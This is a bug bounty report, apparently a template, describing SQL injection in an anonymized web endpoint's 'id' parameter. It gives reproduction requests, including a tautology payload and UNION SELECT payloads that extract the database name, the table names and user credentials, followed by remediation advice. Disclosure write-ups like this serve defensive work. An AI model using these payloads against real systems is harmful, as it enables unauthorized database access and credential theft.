🐞 Bug Bounty Report

📌 Title

SQL Injection in User Input Parameter Leading to Database Disclosure

---

📄 Summary

A SQL Injection vulnerability exists in a user-controlled input parameter within the application. By injecting malicious SQL payloads, an attacker can manipulate backend queries and extract sensitive database information, including user credentials.

🎯 Scope

- Target: Web Application (Anonymized)
- Endpoint: /vulnerable_endpoint?id=
- Parameter: id (GET parameter)

⚠️ Severity

High (CVSS ~8.5)

🧠 Vulnerability Type

- SQL Injection (CWE-89)

🔍 Description

The application directly incorporates unsanitized user input into SQL queries. This allows attackers to inject arbitrary SQL code, altering query logic.

The vulnerability can be exploited using:

- Boolean-based injection
- Error-based injection
- UNION-based injection

🔁 Steps to Reproduce

1. Send Request

```
GET /vulnerable_endpoint?id=1 HTTP/1.1
Host: target.com
```

2. Inject Payload

```
GET /vulnerable_endpoint?id=1' OR '1'='1 HTTP/1.1
Host: target.com
```

3. Observe Behavior

- Application returns all records instead of a single result
- Confirms SQL query manipulation

💥 Proof of Concept (PoC)

🔹 Extract Database Name

```
GET /vulnerable_endpoint?id=1' UNION SELECT null, database()-- - HTTP/1.1
Host: target.com
```

🔹 Extract Tables

```
GET /vulnerable_endpoint?id=1' UNION SELECT null, table_name FROM
information_schema.tables-- - HTTP/1.1
Host: target.com
```

🔹 Extract User Credentials

```
GET /vulnerable_endpoint?id=1' UNION SELECT username, password FROM users-- - HTTP/1.1
Host: target.com
```

📸 Impact

Successful exploitation allows an attacker to:

- Dump entire database contents
- Retrieve sensitive user data (credentials, emails)
- Bypass authentication mechanisms
- Potentially escalate privileges

In real-world scenarios, this could lead to:

- Account takeover
- Data breach
- Regulatory violations

🧪 Tools Used

- Burp Suite (manual testing & interception)
- Browser (manual payload injection)
- sqlmap (optional automation)

🛠️ Remediation

✅ Use Parameterized Queries

Avoid dynamic query construction:

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
```

✅ **Input Validation**

- Restrict input type (e.g., numeric-only for IDs)

✅ **Use ORM / Safe Query Builders**

- Prevent direct SQL manipulation

✅ **Principle of Least Privilege**

- Limit database user permissions

🔐 **References**

- OWASP Top 10 – Injection
- CWE-89: SQL Injection

⏱️ **Timeline (Example)**

Date	Event
Day 0	Vulnerability discovered
Day 1	Report submitted
Day 5	Triaged by security team
Day 10	Fix deployed

👤 **Reporter**

Security Researcher (Anonymized)

🧩 **Additional Notes**

- Tested in a controlled lab environment
- No real user data was accessed
- No destructive actions performed